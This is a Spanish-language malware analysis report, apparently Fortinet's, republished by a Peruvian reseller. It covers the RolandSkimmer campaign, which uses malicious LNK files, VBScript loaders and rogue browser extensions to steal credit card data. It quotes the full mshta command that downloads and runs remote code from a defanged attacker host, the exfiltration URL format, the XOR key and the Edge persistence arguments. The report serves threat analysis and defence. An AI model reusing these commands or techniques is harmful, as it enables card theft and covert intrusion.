ALCARED, Centro Autorizado de Servicios de FLUKE Networks en Perú

RolandSkimmer: Ladrón silencioso de tarjetas de crédito descubierto

2 de abril de 2025

Plataformas afectadas: Microsoft Windows
Usuarios afectados: Microsoft Windows
Impacto: Recopila información confidencial de la víctima
Nivel de gravedad: Alto

El robo de datos de tarjetas de crédito en línea sigue siendo una amenaza generalizada y persistente, conocida por su capacidad de adaptación y evolución. FortiGuard Labs detectó recientemente una sofisticada campaña denominada «RolandSkimmer», cuyo nombre deriva de la cadena única «Rol@and4You» incrustada en su carga útil. Este actor de amenazas se dirige a usuarios de Bulgaria y representa una nueva ola de ataques de robo de datos de tarjetas de crédito que utilizan extensiones maliciosas de navegador en Chrome, Edge y Firefox.

El ataque se inicia mediante un archivo LNK engañoso que implementa scripts ofuscados para establecer un acceso persistente y encubierto. Una vez incrustado, el malware recopila y exfiltra sistemáticamente datos financieros confidenciales de los usuarios afectados, a menudo sin ser detectado.

Figura 1: Telemetría de C2

Figura 1: Telemetría de C2

Vector de infección inicial

El atacante primero distribuye un archivo ZIP malicioso llamado «faktura_3716804.zip». Tras la extracción, los usuarios se encuentran con un archivo de acceso directo aparentemente inofensivo llamado «faktura_1065170.lnk».

Figura 2: Archivo LNK

Figura 2: Archivo LNK

Este acceso directo ejecuta de forma encubierta el siguiente comando oculto:

C:\WiNDOws\SYsTEM32\MShTA.exe vbscript:execute(«SeT mi1=CReATeobjECt(\»msxmL2.SErverXMlHTtp.6.0\»):mi1.Open \»geT\»,\»Hxxp://iNVsetmX[.]cOM/ipa.AsPX\»,faLSe:mi1.SEnD():rANdOMize:R=INt(rnD*99999):ExECute(REpLAce(mI1.REsponSEtEXt,\»#\», R)):»)(wiNDoW.ClosE)

La página «ipa.AsPX» redirige a la URL «hxxp://invsetmx[.]com/n.jpg». A pesar de su extensión «.jpg», este archivo contiene una carga útil de VBScript ofuscada. Este script inicia un bucle de conexión continuo, sondeando el servidor del atacante en busca de comandos marcados con un delimitador específico, «-@-«. Una vez recibidas las instrucciones, el script decodifica los datos hexadecimales proporcionados y ejecuta los comandos maliciosos correspondientes.

Figura 3: VBScript ofuscado en n.jpg

Figura 3: VBScript ofuscado en n.jpg

A continuación se muestra un ejemplo de tráfico de red que muestra la comunicación regular y los comandos codificados recibidos del servidor.

Figura 4: Respuesta del servidor sin script codificado

Figura 4: Respuesta del servidor sin script codificado

Figura 5: Respuesta del servidor con el script codificado

Figura 5: Respuesta del servidor con el script codificado

Flujo de trabajo de ataque

El VBScript codificado, entregado mediante la respuesta HTTP, es ejecutado directamente por el proceso original sin escribir ningún archivo en el disco. Obtuvimos los scripts del atacante del servidor invsetmx[.]com, donde todas las cargas útiles se guardan con la extensión .dll. El siguiente análisis detalla las actividades realizadas por los scripts decodificados.

Figura 6: Script malicioso en el servidor

Figura 6: Script malicioso en el servidor

Primero, verifica el entorno de la víctima para ver si hay carpetas Adobe, Firefox, Roaming y Chrome en una ruta específica.

Figura 7: Comprobación de la carpeta

Figura 7: Comprobación de la carpeta

Figura 8: Verifique el navegador

Figura 8: Verifique el navegador

A continuación, realiza un reconocimiento exhaustivo del sistema consultando detalles del hardware, como las especificaciones de la CPU, el tamaño de la memoria y la información del sistema operativo. Esta información recopilada ayuda a orientar las acciones específicas y proporciona a los atacantes información valiosa sobre el host infectado, lo que les impide desperdiciar recursos en máquinas virtuales o entornos aislados.

Figura 9: Recopilación de la información del sistema

Figura 9: Recopilación de la información del sistema

Para atacar las extensiones del navegador, el actor de amenazas descarga archivos adicionales de «fzhivka-001-site1.btempurl.com», que incluyen configuraciones de extensiones y scripts maliciosos. Los archivos se clasifican por navegador: de 2ch1.rar a 2ch3.rar para Chrome y de 2eg1.rar a 2eg3.rar para Edge. Todos estos archivos están codificados con XOR y requieren decodificación con la clave «andromeda».

Los siguientes pasos ilustran el procedimiento para atacar el navegador Microsoft Edge. El contenido decodificado se guarda en el directorio %APPDATA%\..\Local\s2ch97, que contiene los componentes clave de la extensión maliciosa: «manifest.json», «background.js» y «background2.js». Estos archivos configuran la extensión y ejecutan sus actividades en segundo plano.

Figura 10: Archivos para Chrome y Edge

Figura 10: Archivos para Chrome y Edge

El atacante utiliza una extensión maliciosa del navegador Edge como componente crítico en su cadena de infección, mecanismo de persistencia y proceso de exfiltración de datos. Disimulada bajo el nombre aparentemente inofensivo «Desactivar la Política de Seguridad de Contenido», la extensión afirma eludir las protecciones del CSP del sitio web. Esta estrategia de nombres engañosos ayuda a ocultar su intención maliciosa, a la vez que garantiza la compatibilidad con los sitios web objetivo.

El archivo manifest.json de la extensión solicita explícitamente un conjunto amplio y altamente invasivo de permisos:

  • declarativeNetRequest – Permite que la extensión intercepte y modifique las solicitudes de red realizadas por el navegador.
  • browsingData : otorga la capacidad de manipular o borrar datos de navegación, incluidas las cookies, el caché y el historial.
  • pestañas : permite controlar las pestañas del navegador, lo que le permite abrir, cerrar y monitorear el contenido de cualquier pestaña a la que acceda el usuario.
  • almacenamiento : permite que la extensión almacene y recupere datos localmente en el dispositivo del usuario.

Esta combinación de permisos revela un diseño diseñado deliberadamente para dominar el navegador del usuario, transformando una herramienta creada para la conveniencia en un arma de vigilancia, robo y engaño.

Figura 11: manifest.json

Figura 11: manifest.json

El archivo background.js se inyecta como un script de contenido en cada página web que visita la víctima. Sus funciones incluyen rastrear a la víctima mediante un identificador único y ejecutar código malicioso.

Para generar el identificador, se crea un valor llamado key2 basado en la marca de tiempo actual, que incluye fecha, horas, minutos, segundos y milisegundos. Un ejemplo de formato es 21.3.25-164532eg2. Este identificador se almacena de forma persistente en el almacenamiento local del navegador, lo que permite al atacante rastrear al mismo usuario en distintas sesiones.

El script recupera una carga útil cifrada de una clave de almacenamiento local llamada kuka. Para ejecutar esta carga útil, inyecta una etiqueta HTML mal formada deliberadamente: <image> en lugar de una etiqueta <img> o <image> válida. Esta falta de ortografía intencional provoca un error de carga que activa el controlador de eventos onerror, que evalúa y ejecuta inmediatamente el código JavaScript arbitrario definido en background2.js.

Figura 12: background.js

Figura 12: background.js

El script background2.js es un serviceworker persistente para la extensión maliciosa del navegador. Construye dinámicamente URLs remotas mediante funciones JavaScript altamente ofuscadas llamadas yori1 y yori2. Estas funciones recuperan nuevos scripts de un servidor malicioso remoto, «hxxps://exmkleo[.]com», lo que permite actualizaciones continuas de las cargas útiles maliciosas.

Las cargas útiles recuperadas (también fragmentos de JavaScript ofuscados) se almacenan en el almacenamiento local del navegador con la clave «kuka».

Figura 13: background2.js

Figura 13: background2.js

Los scripts maliciosos descargados de “hxxps://exmkleo[.]com” están diseñados para monitorear las interacciones del usuario, centrándose específicamente en el envío de formularios, la actividad de navegación y los datos de tarjetas de crédito. El skimmer monitorea los elementos DOM en busca de campos de entrada que contengan información de pago confidencial, como números de tarjetas de crédito. Se centra explícitamente en las convenciones estándar de numeración de tarjetas de crédito, como Visa (que empieza por 4) y MasterCard (que empieza por 5).

Figura 14: Verifique el número de entrada

Figura 14: Verifique el número de entrada

Tras detectar posibles datos de tarjetas de crédito, el script se vincula activamente a los eventos de envío de formularios y clics, interceptando la entrada del usuario justo antes del envío. Para la exfiltración de datos, utiliza elementos <a> ocultos y añade una cadena de marcador única (Rol@and4You) para facilitar el rastreo o la validación de los datos robados. El uso de rutas URL aleatorias combinadas con elementos ocultos reduce significativamente el riesgo de detección, lo que aumenta la probabilidad de robo de datos.

Una vez capturados los datos, el script envía una solicitud HTTPS a su servidor de comando y control (C2) con parámetros específicos en la URL (S: Sitio, D: Datos y N: Número de tarjeta de crédito):

hxxps://bg3dsec[.]com/<cadena aleatoria>?S=<identificador de usuario>-<sitio>&D=<datos del formulario capturados>?&N=<número de tarjeta de crédito>
Figura 15: Enviar datos robados

Figura 15: Enviar datos robados

Los atacantes logran la persistencia mediante las siguientes operaciones sofisticadas. Cabe destacar que no alteran ni modifican directamente los binarios legítimos del navegador Edge. En su lugar, copian el ejecutable legítimo de Microsoft Edge (msedge.exe) en una carpeta oculta (%APPDATA%\Edge SxS).

El componente crítico de este ataque se encuentra en el archivo LNK creado maliciosamente con los siguientes argumentos:

–load-extension=”%LOCALAPPDATA%\s2ch97” —-marcar-no-seguro-como=deshabilitado.

El archivo LNK activa la carga de la extensión del navegador maliciosa y la configuración del script en la carpeta «s2ch97». Para completar el engaño, los atacantes eliminan los accesos directos legítimos de Edge tanto del Escritorio como de la Barra de Tareas, reemplazándolos con estos accesos directos maliciosos modificados, lo que garantiza que la víctima abra sin darse cuenta el entorno del navegador infectado.

Figura 16: Configuración de persistencia

Figura 16: Configuración de persistencia

El atacante utiliza un método de ataque diferente para Mozilla Firefox, aprovechando los archivos descargados denominados “as1.rar” a “as6.rar”.

Figura 17: Archivos para Firefox

Figura 17: Archivos para Firefox

Estos archivos RAR decodificados representan un paquete completo de componentes maliciosos de la extensión de Firefox y scripts de soporte. Cada uno cumple una función específica: emular un entorno de extensión legítimo y forzar su instalación.

  • as1.rar : El archivo JSON describe dos extensiones del navegador Mozilla Firefox: Greasemonkey y Tampermonkey. Estas extensiones permiten a los usuarios personalizar la apariencia y el comportamiento de las páginas web mediante la ejecución de pequeños scripts JavaScript.
Blog sobre amenazas del Rolandskimmer de Fortinet
  • as2.rar : un archivo comprimido utilizado por Mozilla Firefox para almacenar metadatos sobre las extensiones instaladas en el perfil de un usuario
Blog sobre amenazas del Rolandskimmer de Fortinet
  • as3.rar : Este archivo JSON incluye extensiones integradas e instaladas por el usuario, junto con detalles como la versión, el tipo, los permisos y las rutas de archivo. Firefox utiliza este archivo al iniciarse para cargar y administrar sus extensiones.
Blog sobre amenazas del Rolandskimmer de Fortinet
  • as4.rar : Incluye la configuración de las preferencias de Firefox.
Blog sobre amenazas del Rolandskimmer de Fortinet
  • as5.rar : el archivo tampermonkey.xpi real (versión 4.7.5788).
  • as6.rar : Este archivo contiene un script malicioso diseñado específicamente para ser importado automáticamente por Tampermonkey, un popular gestor de scripts de usuario. Una vez instalado, el script permite el robo de datos de formularios, credenciales de inicio de sesión e información de tarjetas de crédito. El identificador de servidor decodificado «kok1» corresponde a hxxps://exmkleo[.]com, desde donde los atacantes descargan un script similar al utilizado en el ataque de Edge.
Blog sobre amenazas del Rolandskimmer de Fortinet

Al combinar estos archivos, el atacante puede simular un perfil de usuario de Firefox completamente válido con una extensión de Tampermonkey preinstalada y en funcionamiento. Al copiar estos archivos en el entorno de la víctima, el malware garantiza que Firefox se inicie con la extensión maliciosa del atacante ya habilitada.

Una vez completadas todas las configuraciones relacionadas con los navegadores, se elimina mshta.exe.

Blog sobre amenazas del Rolandskimmer de Fortinet

Al examinar el servidor remoto donde se alojaba el archivo LNK original, descubrimos varios archivos de registro de la víctima. Estos archivos estaban codificados en hexadecimal y se documentó el proceso completo de infección en el entorno de la víctima.

Estos registros incluían mensajes de estado como:

  • “mz out, roaming in, ch in” – indica que la verificación del entorno no encontró ninguna instalación de Firefox pero detectó una carpeta Roaming y el navegador Chrome.
  • “ej. encontrado…desk lnk ok” – confirma que Edge estaba presente y que el archivo LNK malicioso se había colocado exitosamente en el escritorio.

Estos registros sugieren que el malware realiza un comportamiento adaptativo en función del entorno del objetivo, personalizando su ruta de infección en consecuencia.

Figura 18: Registro de la víctima

Figura 18: Registro de la víctima

Conclusión

«RolandSkimmer» subraya la creciente sofisticación de las amenazas basadas en LNK, demostrando cómo los atacantes pueden explotar herramientas legítimas del sistema y capacidades de scripting para lograr sigilo, persistencia y exfiltración de datos. Esta campaña se basa, en particular, en una extensión maliciosa del navegador como componente central de su cadena de infección, lo que permite el acceso a largo plazo y el robo continuo de datos confidenciales del usuario, incluyendo información de tarjetas de crédito.

Los atacantes emplean cargas útiles de JavaScript cuidadosamente diseñadas, archivos de manifiesto engañosos y scripts de VBScript ofuscados para mantener la persistencia entre sesiones y evitar ser detectados. Para reducir el riesgo de este tipo de infecciones, los usuarios deben evitar abrir archivos LNK desconocidos, especialmente los que se envían por correo electrónico o provienen de fuentes no confiables. Las organizaciones también deben restringir o supervisar el uso de extensiones de navegador no verificadas e implementar herramientas de seguridad capaces de detectar actividad inusual en scripts.

Blog sobre amenazas del Rolandskimmer de Fortinet

Protecciones de Fortinet

El malware descrito en este informe es detectado y bloqueado por FortiGuard Antivirus como:

LNK/Agente.96F1!tr
JS/Agente.SOM!tr
VBS/Agente.ABUE!tr

FortiGate, FortiMail, FortiClient y FortiEDR son compatibles con el servicio antivirus FortiGuard. El motor antivirus FortiGuard forma parte de cada una de estas soluciones. Como resultado, los clientes que cuentan con estos productos con protección actualizada están protegidos.

El servicio CDR (desarme y reconstrucción de contenido) de FortiGuard puede desarmar las macros maliciosas dentro del documento.

También recomendamos a las organizaciones que realicen la capacitación gratuita en ciberseguridad Fortinet Certified Fundamentals (FCF) . Esta capacitación está diseñada para ayudar a los usuarios a comprender el panorama actual de amenazas e introduce conceptos y tecnologías básicas de ciberseguridad.

El servicio de seguridad anti-botnet y reputación IP de FortiGuard bloquea de manera proactiva los ataques de malware al agregar datos de IP de fuentes maliciosas de la red distribuida de sensores de amenazas de Fortinet, CERT, MITRE, competidores cooperativos y otras fuentes globales que colaboran para proporcionar inteligencia de amenazas actualizada sobre fuentes hostiles.

Si cree que esta o cualquier otra amenaza de ciberseguridad ha afectado a su organización, comuníquese con el Equipo de respuesta a incidentes global de FortiGuard .

Fuente:

https://www.fortinet.com/